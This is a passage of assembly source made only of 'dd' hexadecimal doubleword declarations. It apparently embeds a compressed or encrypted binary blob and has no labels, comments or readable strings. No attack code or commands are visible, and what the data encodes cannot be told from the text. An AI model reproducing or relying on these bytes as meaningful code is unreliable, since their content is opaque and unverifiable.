dd 32153C20h, 0C45DB524h, 479A2341h, 24A1F5C0h, 441430B8h
dd 0E408C177h, 69D7004Eh, 30C10A1Eh, 8421EBh, 968FCA6Eh
dd 0B854E97Eh, 900079A4h, 101275EFh, 53F6FEh, 703A392h
dd 615A29Fh, 0D0965107h, 77003AF5h, 49DED537h, 7C80349Ch
dd 8234E812h, 0B3108E43h, 0A4F802D9h, 608661ECh, 8036D1A4h
dd 0D0603BB8h, 0F6111FB9h, 26917D9h, 0A0C010C1h, 0EE009723h
dd 83C97762h, 3B44869Bh, 62F60791h, 606A0559h, 7986E192h
dd 36FF5E01h, 0BED86346h, 0A5686C20h, 6038E4CCh, 4CE99FB8h
dd 3305E4D9h, 10823C7h, 0F28E07CCh, 0C6F1923Ah, 136CA914h
dd 6C00A28Fh, 57F05288h, 0BEE9C0D1h, 67E6CC70h, 0A1ABD506h
dd 49086D6Fh, 9500B4B7h, 0AF73CC98h, 4024EFA0h, 6A0C043Dh
dd 9BD2869h, 9FDD16C9h, 4F05A02Eh, 1A44885Fh, 98F3740h
dd 407C1B21h, 512FE418h, 0FA902383h, 0C0CC7601h, 0E4186567h
dd 9E9321C0h, 70382CCCh, 62F3E657h, 4F957032h, 7D3E8C52h
dd 0F61D801Eh, 37DB9206h, 0A1B1C081h, 47C4C843h, 74116760h
dd 92252617h, 2F34690h, 0C87B62F2h, 10423123h, 1E62FA6Dh
dd 2CC840A0h, 577A0838h, 93280803h, 74980336h, 533070CBh
dd 0F8608AA2h, 0BA449E76h, 0FE5E008Ch, 18603E4Ah, 1303753Fh
dd 3BB401C1h, 71039CC4h, 60131708h, 5421B5CEh, 8042F83h
dd 9FC1F7A0h, 0E0A18FCCh, 879EC0E8h, 0E81CADCCh, 5841FABEh
dd 0EB3852D2h, 7E45E460h, 477433EDh, 7FA125A0h, 280334Eh
dd 3E78118Eh, 10AE31FBh, 0F119646h, 28DF27B9h, 0D6547743h
dd 66059900h, 5198F9C2h, 6F8503EBh, 0ED36DFBh, 0E4B001E2h
dd 3A157CC9h, 80701Bh, 4A0A27CEh, 0BB8647h, 0DD7591B2h
dd 4605CA59h, 0A4A748BAh, 19603AC4h, 272113Fh, 29056B0Eh
dd 483A4284h, 0AD18C3BEh, 0B54EDC31h, 9920E980h, 9E7DCF4Fh
dd 3800D4F2h, 6FE3E2F7h, 0EC5E57h, 787227A9h, 0DC172521h
dd 8885E0A2h, 5354CC9Ah, 23E04452h, 53C2CFCh, 6275678Ah
dd 9120B9E0h, 153CC9Ch, 939D3BB3h, 0D3A50332h, 41BF6CC9h
dd 7052D384h, 0E8A4476Ch, 0E4203345h, 8AEF0CDCh, 8720B158h
dd 9D5A98C4h, 0E0E01F0Eh, 0E85430F0h, 0FA4391C0h, 1CD9C8A2h
dd 0C3706C50h, 0B2AB891Ah, 91A088E0h, 643ACA09h, 4C104EE6h
dd 5DBC9868h, 0E22D098Ch, 0C49033B8h, 0C50B0540h, 0A0AC6838h
dd 0B16AB4D4h, 3B490E9h, 76BFED17h, 0D8FA5334h, 366888C1h
dd 808EE0D4h, 1DD904EBh, 83A3B8D7h, 15F426B8h, 648A8450h
dd 3020DC84h, 217862F5h, 90C0FBC8h, 7D62FDh, 2E557E02h
dd 0ED417835h, 8478C858h, 8D0B49Eh, 0F977E1h, 0C509C972h
dd 0EA8C51A9h, 33BC091h, 9FFBD3EFh, 0CF310E55h, 6F207125h
dd 2FA03C76h, 7B5C600Eh, 0F72601BAh, 71E3078Dh, 968B0289h
dd 924A9906h, 909760D7h, 0F5D1786Eh, 6AF869F5h, 0D6460022h
dd 0C60EEC61h, 790F7887h, 74ED8FE8h, 24210144h, 0E3C4685Ah
dd 0A8200031h, 63BE13A5h, 1D3C20E6h, 11B0CDDBh, 0EAC89F02h
dd 60D02DEDh, 93BBB8C0h, 0F8ECD810h, 80B79E2Ah, 25504205h
dd 0E481CB08h, 0D844A4DDh, 4FA35C81h, 11088A0Ch, 0CEDB3E74h
dd 0F24A07D1h, 0FE608711h, 0BCCD2Fh, 21779536h, 0D346382h
dd 57122C90h, 688BD576h, 30D9B384h, 4840BC60h, 7313FCBDh
dd 46F8F0A1h, 912ED9C0h, 1CC4FCE1h, 41AF4E51h, 188BEC06h
dd 0D0F4706Fh, 4D40574Ch, 0A468219Ch, 0E4215C1Ch, 52FD9C56h
dd 0A76862E7h, 18897CC1h, 125890E8h, 2C8313C8h, 0F0006F68h
dd 90524A62h, 2CF58E70h, 7480A0h, 3D93DF76h, 19F06933h
dd 6F78B975h, 0BD09AB76h, 184615CAh, 55384700h, 1BD8A4B9h
dd 0EF49434h, 98A98AC5h, 2EA05080h, 14A4C146h, 12A78020h
dd 803C8AC9h, 344B02Ch, 88A3242Ch, 56E42174h, 5EC2A880h
dd 53C21h, 36DDB132h, 730B5F4h, 4CF94F60h, 595BA98h, 0EFCDE91Eh
dd 9F489082h, 8E0643DDh, 0CEEC5A29h, 6B460CB8h, 4EA8B764h
dd 9C230A4Bh, 8FE7A0EFh, 77C43DA0h, 80BE9F1Eh, 0FD87A685h
dd 0C090113Ah, 7A0E351Fh, 18AEDC0Ch, 5B690AD9h, 2B4B6B7h
dd 0C4A68494h, 4C99CCA9h, 251D309Ah, 6BC12600h, 0DF0DC73Fh
dd 6EEF3CD8h, 0D7AB1C0Ah, 3AF105F7h, 4CC008DEh, 0A1E75E8Ch
dd 557900ECh, 0AA3BF5C4h, 8276DC5Bh, 0A08552h, 5D4ECC7Fh
dd 50EF79A9h, 7CDEB868h, 284A4833h, 6DCDD04h, 0C7C48481h
dd 8ACF6138h, 0D3D452ECh, 4470D451h, 0D9F286DEh, 4110F51Ch
dd 38046356h, 9500EFC0h, 0BE5EC469h, 7EE870C1h, 98226853h
dd 0C23DC44h, 47BB5452h, 3A2CC981h, 0DD9880D4h, 16AA5E76h
dd 862C43h, 1404676Ch, 0F6005A99h, 0BCA9F28h, 0F1B6C782h
dd 251B1438h, 98C4F8BAh, 0CC087A34h, 0C2856784h, 0AF0057BBh
dd 3C10CC82h, 0B1807A8Ah, 3CB805AAh, 28F422ACh, 5E90B963h
dd 165100E0h, 24BFB1EDh, 7500C7D7h, 2DB505E2h, 1EF281Ch
dd 0C2F4FD7Eh, 30A79C38h, 0AE24ED28h, 86870441h, 0AC10497Dh
dd 25E17FBh, 8281549Bh, 0ACA0B89Fh, 0F1FF23B4h, 40A96E06h
dd 1719BD3Fh, 80767D89h, 2DA0D238h, 42DB8B1Dh, 0E0946352h
dd 3096DC82h, 0A60862EFh, 64814BCAh, 0F7964435h, 0C16818C0h
dd 0F6E0758h, 842B9E94h, 340889Fh, 847EDB0Fh, 1BC01C83h
dd 6427EFD6h, 678FE34h, 0EACE9663h, 0CC00E1B6h, 2C2B85C0h
dd 0FE7919h, 9EDAF4D1h, 5EB366E8h, 6BC04204h, 0DCF1FFBCh
dd 0B3F26472h, 0C60C30h, 2964289Ah, 0BB129BCFh, 0D447345Eh
dd 808E1774h, 0DA8710AEh, 3E6B01D0h, 52C4B293h, 0B202824h
dd 717E95h, 0F521EDC4h, 88629887h, 1C6C88Ch, 0F2AC6689h
dd 0E1F14D84h, 0B2520FBh, 81EB0C09h, 401481E6h, 106947C2h
dd 2BC9E24h, 0AB2D67DCh, 269D6841h, 127B02A8h, 318A34F5h
dd 0A3E31049h, 23BE00ECh, 30C48447h, 0DC91404Fh, 84B08A0Bh
dd 7CF225ACh, 0E0C068E7h, 8841AFh, 0AEE1396Dh, 6B34B702h
dd 1C42A424h, 56C74B01h, 19113053h, 6B62D80Eh, 824C9E27h
dd 0A0D55E24h, 0FFE899B0h, 20FE0006h, 3C19E7CAh, 0AB004222h
dd 8F16C840h, 91170877h, 56E6D0C4h, 0D6050086h, 0E731D7B1h
dd 4548CAC5h, 28C40BECh, 69D0215Fh, 0E82C3514h, 0BEF9C204h
dd 0D3B088EAh, 3FE76C01h, 2E883779h, 30A09842h, 7B121183h
dd 3038F33Eh, 118B004Dh, 0F4578C81h, 3E0126A8h, 60C49ED7h
dd 8C3C5197h, 24E77101h, 0CC72D94Fh, 89274AEh, 1C7FC42Ch
dd 0FE20771Eh, 5407F8F7h, 52FAC4Ah, 838CD8F8h, 51C0ABAFh
dd 306E84E5h, 0E08142E8h, 700D33Bh, 85FA1029h, 0B31B54Ah
dd 63A10B9Ch, 44FE3890h, 0D2ED0516h, 18047095h, 6CE4436Fh
dd 0C354277Fh, 0DC6788E0h, 98A54228h, 0BE218707h, 0B346B857h
dd 0FE6F3C21h, 88DF4785h, 9FA4C2E7h, 8127D30h, 8D5A34EBh
dd 3214A66h, 69ECA5F9h, 10B0FE17h, 1E02C6ABh, 606BACB2h
dd 133CF0D9h, 13679F81h, 3E3C80A9h, 3B61B330h, 64107B0h
dd 8234835h
dd 3CC168A7h, 7CD48A26h, 66940009h, 0ED971BF7h, 49C40DD1h
dd 0CC9065C4h, 927C439Eh, 5AC9397Ch, 0D3020CDDh, 0BC52CBD2h
dd 95079CF0h, 7F4EC01Dh, 3485C9C5h, 0B984608Eh, 9FED3057h
dd 0E3D901E8h, 0D8A01168h, 0C80BC069h, 74686F49h, 0D6D14E01h
dd 0FC496C1h, 0E284344Bh, 1F2A3056h, 2FEF4A3Ch, 0DE4A1084h
dd 0FE7BEDC0h, 6D0957C5h, 0C455F6A3h, 74957934h, 0C16C0039h
dd 765FBD1Eh, 270228B8h, 5256744Ah, 5B704A22h, 2C1170F4h
dd 1913EA09h, 0C2D08787h, 0D4F4858Eh, 0FF5EC402h, 14EC6853h
dd 4C9BB06Ch, 520FB899h, 0DD84084Dh, 0E2FCB26Bh, 9A02305Eh
dd 0DFADCF1Ch, 0CC0D55C1h, 0FF1240EAh, 0B8649060h, 4A8A9B80h
dd 536846D0h, 9494F170h, 5E465Eh, 0E6237485h, 4C5040B8h
dd 1D1068A1h, 0A7870149h, 0B68B467Ah, 1C0F2C62h, 0CD80860Ah
dd 0DD368A40h, 17D518CBh, 0D9B28830h, 67640260h, 9D5F14h
dd 0FF3447FCh, 0E86452D3h, 2CC145E1h, 0E400BC33h, 2B40232Ah
dd 8B402EAEh, 34244154h, 63E4F533h, 38862378h, 34EFEC84h
dd 3C8E92h, 7CECAE86h, 0FF6F862h, 9CE88E91h, 80D73A02h
dd 51376860h, 51527880h, 6891508Ah, 12798083h, 427A34F7h
dd 0A1FDC08Dh, 0AB7BECh, 2072D875h, 92EDA5CBh, 0A9306B14h
dd 0FD860BF0h, 0AA701057h, 0F63202ECh, 5FD1C06Ah, 63490C82h
dd 51F195E0h, 0F4E67828h, 94B40C90h, 43913DCh, 6BFCC057h
dd 0C094D40Bh, 4A465Ch, 222EFE66h, 386135Eh, 633F067Eh
dd 0D80EB138h, 73F8C2CBh, 68D57000h, 16CFF61Ch, 60DCF75Eh
dd 3C524B28h, 34680095h, 0EF3A2A26h, 178D8434h, 84FAB467h
dd 0C3CC0424h, 0FBE9052Ah, 57B12481h, 38100405h, 1DD840A3h
dd 0FD84824Dh, 47C8493Bh, 3F0818C4h, 3B64C3Bh, 0D3B45249h
dd 0A277702Dh, 184FAE70h, 7911118Dh, 0AF88E33Eh, 11954780h
dd 2AE28C1h, 75C4CB62h, 0C6D69A6h, 0D3BC7AC0h, 0EAB71BE8h
dd 1BB86144h, 8B3AF646h, 0F19E80EBh, 0BE76E7D9h, 218F2C22h
dd 0DC6F40BCh, 0F70BE668h, 0E00169D9h, 17C4CD50h, 430880Ch
dd 45245324h, 1CC5FD81h, 1C801885h, 16F8210h, 87F5D40Fh
dd 6CF621EDh, 0CFA983D4h, 0FB49E878h, 7D250290h, 0F68FEF7Bh
dd 0BF005C52h, 0C046278h, 26D329h, 0BAC6967Ah, 0D83A6CB0h
dd 0F8E937FEh, 0D09C3156h, 0F9696D80h, 256B82EFh, 809B9B0h
dd 0F1EC2Fh, 2554864Ch, 54B49EDBh, 2043E0EFh, 29FFB79Ch
dd 17C404A4h, 54B07978h, 0A0A44Fh, 3FE1DDE6h, 0F6598D5Fh
dd 7EF9660Bh, 71DC90E8h, 55D40746h, 959F85F4h, 0E6FCD0DAh
dd 0BC74DD84h, 0E7021896h, 78D43B34h, 39699848h, 0EA30DDDCh
dd 8FC8C421h, 17505D49h, 3913BB16h, 0B69FCC80h, 59B96936h
dd 6081A004h, 12F11377h, 8A33AA34h, 7F870FD0h, 0E29F6313h
dd 538811EBh, 0F2BC0BECh, 0A334E1DCh, 87380207h, 9882ECF8h
dd 0E3D90C79h, 2A0E8818h, 637486CFh, 2EF49EB4h, 5ED4D491h
dd 99004546h, 7B7C7D0Fh, 8F26DA1Ah, 0EA41E89Eh, 136E6C03h
dd 27880241h, 50607044h, 133D0D8h, 0E0B1C94Bh, 0F985A108h
dd 0E86B3A00h, 0A873E54Fh, 8C01A4C6h, 0F03C6E18h, 50097ABFh
dd 0B828F3Fh, 89FCCA14h, 0DEFC009Ch, 536C876h, 0B1D3DDA3h
dd 0C1FC9753h, 72DCFCBDh, 0DCED3F80h, 0CA529CECh, 5DA210A3h
dd 7641EA30h, 0C4BD5887h, 4D06F28h, 90310621h, 1638B208h
dd 0B0CCD1EDh, 85C05E9h, 0F32643C8h, 30BBB2F4h, 0E6001F1Ah
dd 60212966h, 18D9649h, 0C37A55C8h, 24D48AC4h, 0C1E636D0h
dd 0AE0CC505h, 0E840B7EAh, 202B5F84h, 0B8CC3A3Fh, 50096500h
dd 0D7D49BFh, 92361604h, 0A8B80863h, 0E3F4844Ah, 0C8A9E4F4h
dd 152E985h, 0F6D705D4h, 9EA45040h, 3F3A57A7h, 0C6678F09h
dd 0CB706063h, 0ABEFFh, 3A201814h, 0CFF77624h, 0C2B64304h
dd 8CF0C438h, 48A2EA67h, 0DC049847h, 0B849EF2Bh, 3543C13Ch
dd 0F0206B37h, 0EE81202Eh, 44933013h, 398EB820h, 5046011Eh
dd 0C5145175h, 7288548h, 6CC0E7D3h, 8046DEC8h, 0F7044382h
dd 4E1169F2h, 81C4C8B8h, 9BAC6251h, 0B6129C1Ch, 929623FCh
dd 37C89757h, 7C4493C6h, 930AC288h, 0C8005E7Eh, 0D7178499h
dd 7BAB7B9h, 6D15E943h, 0E82C41B3h, 0C86B2FD5h, 65F49C00h
dd 0E15455A3h, 644181C0h, 9961EA2h, 0F0AFB55Dh, 898C8F7Dh
dd 61E38189h, 1EE1EFF4h, 1E7B2C31h, 8F003E16h, 79B08D49h
dd 64305ACAh, 9C64CE1h, 188E004Dh, 0BFCD705Bh, 5A1721DEh
dd 1841C860h, 8D076B1Eh, 0F401C026h, 0F3C87962h, 0D0282B9Bh
dd 62FC1293h, 154C08E0h, 0C1D35E8Ch, 0EBCF0E39h, 8A850CE1h
dd 5E0CD110h, 7E619F83h, 360FC302h, 0B440E32Dh, 82518844h
dd 0C837DCh, 0C52CAC6Bh, 0A42F0C38h, 2488DAF4h, 0E62F0AA1h
dd 9A8DD43h, 0E400A60Bh, 0CFA5BD25h, 78454226h, 0C320F428h
dd 49074B30h, 0D451EC74h, 0D73B6FA8h, 51568463h, 50ADBBF8h
dd 845057C9h, 26BD702Fh, 2910A4h, 25328895h, 3150A4B8h
dd 0F0E0DC30h, 91011E6h, 9F09B966h, 1BE0F8D3h, 0CD8BD4h
dd 9E82D880h, 5173D01Eh, 8C07107Ch, 72912265h, 0AC472340h
dd 0F94B0E83h, 0EB6057AAh, 0D1EA67ADh, 1DCFA200h, 7CE8FD8h
dd 0F188A1E6h, 75026C36h, 7D67C1CCh, 94604471h, 1632CC9Dh
dd 4F52BC69h, 3AB6C4B4h, 4E5237Ch, 0E098A28Ah, 8F4E0B98h
dd 4410D09Fh, 821888AEh, 0ECD88AC9h, 3B3AA880h, 0F4934F5Ch
dd 20505FC4h, 185A2DE1h, 84F00E77h, 0D3A0D174h, 4725718Dh
dd 5C30A54Ah, 237611C0h, 0BA11EB3Eh, 118E8001h, 0C8D91D71h
dd 0A892BC13h, 38796899h, 0E21DA418h, 0F1C0DBDAh, 8863BA66h
dd 0AE3890A6h, 0B0A17258h, 16787674h, 0B4F6C1EEh, 4F1D8008h
dd 8B893A1Fh, 0E63020B5h, 74591974h, 0E1B1699h, 0F0E000B7h
dd 0D6322261h, 207DD22Fh, 94C84C30h, 7C92809h, 0C10A25DCh
dd 0E920D80Fh, 87F161C5h, 0B066812h, 726C4F2h, 251400Ch
dd 5571227Fh, 2DA08803h, 0B38D6E65h, 5F6A80CEh, 1B9A12F1h
dd 0E6A413F8h, 0ED870368h, 0A08491BFh, 1E467E17h, 2552CA2Eh
dd 40D3A0E1h, 8968699Ch, 0DEDA1803h, 95B8BCC4h, 3B9C2480h
dd 0D13305C2h, 0B253ED1Dh, 30AEF21Ch, 0FFF25C13h, 0D7F50203h
dd 0FEBA2729h, 3C092060h, 0E39AE00Bh, 0C17CCD69h, 0FCC43F88h
dd 1B98CC6Dh, 47241700h, 0C359F36Fh, 74784C03h, 35107404h
dd 0E678C1EDh, 6980317Dh, 141FB884h, 0E45166BCh, 6B1A5F09h
dd 0A3037071h, 0E84B6FC4h, 7A5019C2h, 7A73D9h, 0C805D19Ch
dd 0CE8046B6h, 0AC20C15Eh, 52DB64h, 5A2E7F1Ah, 0A9666776h
dd 53276A03h, 99319F7h, 0C0AD354h, 4010C019h, 391E3CF0h
dd 87383E0Bh, 0C12080ECh, 975B5117h, 486D4880h, 0A109421Bh
dd 0FA9E894Ah, 68C300F0h, 9844BDF1h, 0E70B112Eh, 22891467h
dd 0D4DB9304h, 0CE4C65C0h, 0C1B28890h, 34EA54FCh, 44004560h
dd 0C510E6EBh, 13C109B5h, 63E477Eh, 59A29E64h, 0CF89C00Eh
dd 0FA53C933h, 0C9860488h, 864D54F8h, 5F4C69C3h, 9E3980B0h
dd 0F02B9Bh, 97F1BA43h, 282FD4CBh, 0E5063200h, 1F0AA6F2h
dd 0F0514869h, 916BCC13h, 738DF798h, 4C2000DCh, 28F2923h
dd 0B106009Eh, 1E427FB2h, 0E3093F3Dh, 0F937B820h, 0D6470014h
dd 0EF7BD835h, 548B874Fh, 0E0CFBBC8h, 9F396E3Dh, 5D4000EFh
dd 0C248DADEh, 474ECBE0h, 0C1E15099h, 0B1C4433Bh, 0B9022C59h
dd 0C23E9514h, 40345E90h
dd 7D444B4Eh, 2F8648Ah, 0C469968Fh, 0E8045706h, 0D96B08C2h
dd 185E7150h, 0EA0EEC2h, 0C477BEBBh, 0D0706309h, 780C3490h
dd 785769DCh, 88305A73h, 0C281932Ch, 968ED230h, 0E3217614h
dd 0EE58256h, 8C565AC9h, 7C6B3E82h, 97B45CBDh, 34244044h
dd 56E0D81Bh, 8C81F89Bh, 4C4ABC67h, 219F9092h, 0D8960E40h
dd 1D09D893h, 6497C77Bh, 6A1912C8h, 4E240028h, 0D6AAB4B3h
dd 48483F49h, 0EFE113ECh, 45C8A08Bh, 246758C0h, 0A3D13BD9h
dd 0B39F8F0Ch, 45035C21h, 14E64687h, 679BD83Ch, 2864ADCh
dd 0D93AF5E8h, 0B012B0ECh, 24E22F6Ah, 0AED6941Dh, 4865EBBCh
dd 21603BE4h, 0D9039FA7h, 0FCE956B9h, 0D476A2DAh, 701EDC64h
dd 91001D4Bh, 99D071C3h, 2D6A03E3h, 8533E45h, 68D42C16h
dd 5F23F82Fh, 8B613D00h, 2716C75Eh, 886EADC1h, 1769A125h
dd 803B11CCh, 223C1A3Eh, 0CEA71F40h, 21489808h, 0BA1FF5A2h
dd 0C440AC96h, 5072CF94h, 5DAA13B8h, 0EF28A0F9h, 1651C712h
dd 5100106Fh, 6784A9C3h, 0AF4F9F70h, 0A042D8CDh, 0CC7930FDh
dd 9D678512h, 90C028B2h, 4F69CC81h, 0E9EB9F72h, 1BC98C4Bh
dd 382CCE74h, 0EBDACA8h, 91028E80h, 0C4165887h, 97AD2CB9h
dd 9D45916Ch, 0C0726B0Eh, 0F28B9B6Fh, 0A5040387h, 13C77650h
dd 1668B8C5h, 0FCA3B726h, 1830B8A2h, 25BC2ED8h, 9FC806F8h
dd 0B6008156h, 0B1BADE7h, 12F1BED3h, 143CA2Ch, 21C7B331h
dd 2F30DD3Ah, 0FB741809h, 0D11829F0h, 19A183Ah, 5B4031C8h
dd 0DCDD5924h, 0B6139CCFh, 0A0E2993Bh, 85D5FD00h, 18B72B02h
dd 4BC46600h, 44820BD0h, 204600A5h, 0C7C9CF7Eh, 0C225CAB7h
dd 0E6D4C064h, 0E36098DDh, 79758600h, 0CDEBC63Bh, 0BC2F97F8h
dd 3407AF23h, 59902BCCh, 11C1707h, 0AA5B0423h, 2C148ACAh
dd 6334040Ch, 0A4A7BB60h, 0FC17F82Fh, 6057B788h, 1564968h
dd 0E9101214h, 57150558h, 0DC80D0FAh, 0B9F7AF9Eh, 11802600h
dd 21E92D4Bh, 9AB743B0h, 0F83AEBC4h, 480948CBh, 0CDA09680h
dd 0ED2C0EC4h, 1F00FC21h, 18B6B754h, 0CFB20976h, 6CD878E8h
dd 446E9F4Ah, 2B8C9500h, 22FF4A78h, 0E7B4BE0Bh, 387A57h
dd 12150270h, 0C5B8A2D8h, 0C4C80186h, 50478F6Dh, 6CEC597Ah
dd 30DABDF8h, 0A500CD1Dh, 2374ECEDh, 0FC27147Eh, 0C5514455h
dd 48A4E493h, 4AD700D6h, 98145996h, 0CCA1B250h, 4B947943h
dd 94B27484h, 0C57BAF1h, 777F0071h, 752751DEh, 0AE006429h
dd 8E8BC8CDh, 2D28C470h, 0D8C84703h, 0A89CBB4Ah, 48EFC805h
dd 80C41CF9h, 0AC8CA9D5h, 7D1E03D5h, 765C5E8Fh, 43B44FD0h
dd 4CE2E82Ch, 7517CE01h, 3BF344h, 0E99126C0h, 87334096h
dd 7D6E49BCh, 9140B2A0h, 0C4D349D8h, 0B0D08351h, 0A607A09h
dd 0D0249F6Dh, 89D7CFE4h, 947C450Ch, 0B8C4A8ECh, 0DC008C42h
dd 2F0D86CFh, 532A44A5h, 8E10B84Fh, 0A09E25A2h, 8F6B7078h
dd 4BB803D8h, 59DA905Ah, 9CED4FD0h, 788EEB4Eh, 4578B9CAh
dd 0E542804Eh, 0F8039D4Dh, 670C3BA5h, 0C4BD88F9h, 0CD802F5Ah
dd 0B98C34C8h, 98D180h, 0E04D30ABh, 0C4F96AD8h, 2062FFEEh
dd 72ADEDC0h, 409E4B4Ch, 0CC499554h, 0FD0F9CDDh, 130357C7h
dd 6608BC00h, 47B2685h, 820DFC48h, 0BC6CB8D2h, 89738C5Fh
dd 84C87D25h, 9E0648B0h, 0D00081B1h, 0D6CB70A4h, 139FAFFh
dd 118C444Ah, 0F8CE7797h, 45F212C7h, 0A56C029Dh, 78D109BCh
dd 0D218AE79h, 51F2A002h, 4C6F2205h, 0DBF85A94h, 73988014h
dd 7F8BFE76h, 0CC1804F3h, 9086F040h, 7A9F278Ch, 45EAB818h
dd 0AC7789h, 4EFE2A23h, 67BD0D38h, 0C90F789Bh, 0BF5404D9h
dd 8A4A58A7h, 0C03AC858h, 0C847ACB6h, 0A67B7607h, 52621528h
dd 4BE0D8A4h, 237C3AA0h, 7E8A005Fh, 0D174712Ah, 1383A507h
dd 6D4BC7D2h, 6976C00Ch, 914086DCh, 5333169Ah, 4CE0B01Ch
dd 0A51C6CF8h, 5B0B3EE3h, 18F4F035h, 304FAAACh, 981C2521h
dd 0D70CC437h, 0B591202Dh, 5F919097h, 5191B580h, 0BD13E9A1h
dd 0AC40A6C2h, 25A37E4Ah, 0B9EB605Fh, 7AF97057h, 50670800h
dd 0A2FB37CEh, 0CA2301E5h, 0CB8F8E90h, 482F2FB4h, 0DB074423h
dd 8FE08376h, 2FC9E169h, 74003852h, 0FF8527C6h, 0C4BE3E1Ah
dd 88589760h, 7160DE4Fh, 1716436Ch, 20F6D493h, 0DD0A2920h
dd 2CBAD100h, 8558971Ch, 750C0135h, 14690EDCh, 18FCFAA9h
dd 2C40DB88h, 0BB467474h, 40B7521Eh, 611B1676h, 0F400B2FDh
dd 1D287ED0h, 2E37E18Ch, 0C1A8EE0Dh, 24F6C469h, 22F21FD4h
dd 5460800Ch, 56E79E9h, 0A8B801A0h, 3164806Ah, 0ACB41830h
dd 6DB41001h, 84299E41h, 87F78E00h, 0ABB831Ch, 0EB7B5C00h
dd 45D6B83Bh, 0DDC25EBEh, 306A7B50h, 14983125h, 105DD52h
dd 394F60C1h, 5C5E2488h, 0A4887047h, 7711DFC0h, 0A2D34A3Eh
dd 8981C058h, 78460311h, 0D10C9934h, 0E2C0195Fh, 698C00D8h
dd 1D559351h, 3816C10Bh, 0D03E4397h, 0C956E210h, 40F05416h
dd 5DFD867h, 0DB634C01h, 0D589B1FCh, 800684F8h, 4800F918h
dd 0E86830Ch, 0B2CF8ABh, 0C0AC6B92h, 60B84C60h, 4C1242Dh
dd 1D404850h, 0F9FB4DD6h, 7CF18504h, 0F8F49F35h, 0FCC90059h
dd 70777946h, 1D07B6B8h, 0A349C1E3h, 0A981EFA4h, 88733659h
dd 0F33049A2h, 0CB452E31h, 412308C0h, 72DCDD02h, 0D9545148h
dd 0D18B3h, 0A3CD630Bh, 0F5B788F1h, 6B1DC270h, 6FDDBF13h
dd 5702D824h, 54543C42h, 935B8084h, 87BCBBABh, 3B40BCB6h
dd 0E2F338h, 0FDB245DBh, 681075CBh, 0C04BD5EAh, 0BAB3B820h
dd 6AB200A7h, 65A5229Dh, 3C717614h, 5D023EE0h, 0B8C170C0h
dd 4421h, 9771CB74h, 66C4CF7Eh, 8B19A100h, 0E99B6980h
dd 8B6E4ADCh, 0C038C8F4h, 44E50188h, 1953A10Eh, 0C0D86934h
dd 0BF315740h, 1B3E70A0h, 6CB4BB9Ch, 885C0893h, 60484DEDh
dd 0D650944Fh, 0CC0186F6h, 6BBFE370h, 0E42D4580h, 0CC458CCBh
dd 1857BAE2h, 0E6009AA5h, 0D3CB4226h, 10652CDh, 6D211268h
dd 3C37515Ah, 0D8BB0488h, 488EF649h, 32D9B284h, 0B0546C72h
dd 92B83BFCh, 7435B92Dh, 0D78E5D91h, 0E43EB885h, 0CA4EED5Ch
dd 22C6C897h, 6C31F9A9h, 0C8B8CB2Ah, 0EFD5C0B3h, 0C00CF49Fh
dd 0BE035F7Fh, 0AC149C30h, 490A0808h, 63383E05h, 309BEC95h
dd 0CAA58EC0h, 4B5105Ah, 90B6DFE8h, 1ED4C05Bh, 2812343Bh
dd 7805DFEDh, 48005FCCh, 3E8D70F3h, 0E7D30FDEh, 0B0177CDCh
dd 18135324h, 28E69DFFh, 646879E0h, 182F5201h, 495C245Ah
dd 0C9C1942Ch, 799E86DEh, 0A8915F18h, 48AC17EDh, 0ECC52DE0h
dd 5C605EC4h, 880379D3h, 6121806Fh, 3CE9C08Ah, 0A95F09DFh
dd 0B402745Ah, 790BE098h, 4EDD0070h, 63CE1FF6h, 911D6E00h
dd 0F70BFC29h, 21500B13h, 3465773Eh, 4FBCCD2Fh, 69495080h
dd 0B7026129h, 57BC7E9Dh, 404856DCh, 37A4E8C6h, 56FD8100h
dd 7FC4CD9Fh, 0F7790478h, 0EDCBEDDFh, 85FD0904h, 0E07010F6h
dd 58FE45h, 7518E47Ah, 1DAFCE3Bh, 518EAA00h, 8DC3BB4Dh
dd 9C91705h, 0A1E41B8Fh, 0DE3995A0h, 64C47602h, 4BBDE97Eh
dd 4878E968h, 7AC96CDCh, 8E69008Fh, 6F73B82Fh, 8100399Ch
dd 0EE807DF4h, 0C0C98FDCh, 9941951h, 0EF5A9EC3h, 0B3C8D88Bh
dd 1D24E8C0h, 2F98F09Dh, 801957E6h, 1A55C21Ch, 5EB456C0h
dd 8057B721h, 0A732E6ACh, 562D44EBh, 0C000ED76h, 69686BD1h
dd 0F3137B7Dh, 0F40229C7h, 0DC56E518h, 0CCBC0CB4h, 5C5A66B9h
dd 68A46853h, 3DC40F8Dh
dd 0D220AB6Fh, 0CF231563h, 0CC1A4904h, 38984ADBh, 5EFC94A5h
dd 0EE015C46h, 43BE41E4h, 0C34620Ch, 98BADC32h, 387700DDh
dd 2D6F3EC7h, 0B90B1AABh, 4E6EBF93h, 71E4B154h, 0AC18B5h
dd 0DBB4A04h, 2EF6CA65h, 4B63A88h, 7AE3B951h, 0FE88C337h
dd 58E96926h, 0A5F01F14h, 0DFA8A8BDh, 7E574E09h, 0C4E48FB6h
dd 0AEE13B94h, 9D9CB434h, 67A0E40Fh, 0EEB7BAACh, 0BD34B7BDh
dd 0A6000248h, 0BF72F149h, 1DFCEE52h, 3C205B00h, 78D02804h
dd 0AB4C2853h, 259325C0h, 6658E4DBh, 95C8031Fh, 0ED57E86Ch
dd 0FFCF100h, 4A90871Eh, 883400A0h, 6EF8A68Bh, 70999AA9h
dd 4CFEFC81h, 0B7CCB21Eh, 34180742h, 0C0915CB8h, 86FFCA26h
dd 7D6EC40Bh, 0DC002076h, 997BFBDFh, 185DD1C4h, 0A1192CC4h
dd 9ED640ECh, 2D0009F9h, 0F558F279h, 33A869h, 8CAA963Ch
dd 54688A72h, 0F80CC716h, 1478A89Dh, 8CBAACh, 0A9B7198Bh
dd 0D9D1BC52h, 0E803C417h, 0F9B82490h, 0FB8E726Ch, 2FA49320h
dd 80BA7C2Ch, 8550705Bh, 1E7E09C1h, 0D482C259h, 0B8E8B43Ah
dd 97B72EA0h, 8E5D91D8h, 3A21C013h, 4D8AC829h, 5E272874h
dd 0A48B7CC8h, 4E0F637Fh, 3629155h, 80947FAAh, 146ADFCh
dd 3EA74092h, 3FE2243Bh, 10208C45h, 0B310743Ah, 1E93C0D9h
dd 4806BC69h, 371C9C90h, 0C481C13Ah, 0DDCA6E0Ch, 0A0B06444h
dd 0BAF46312h, 0B9E97C04h, 396F6890h, 14D15834h, 0FE861900h
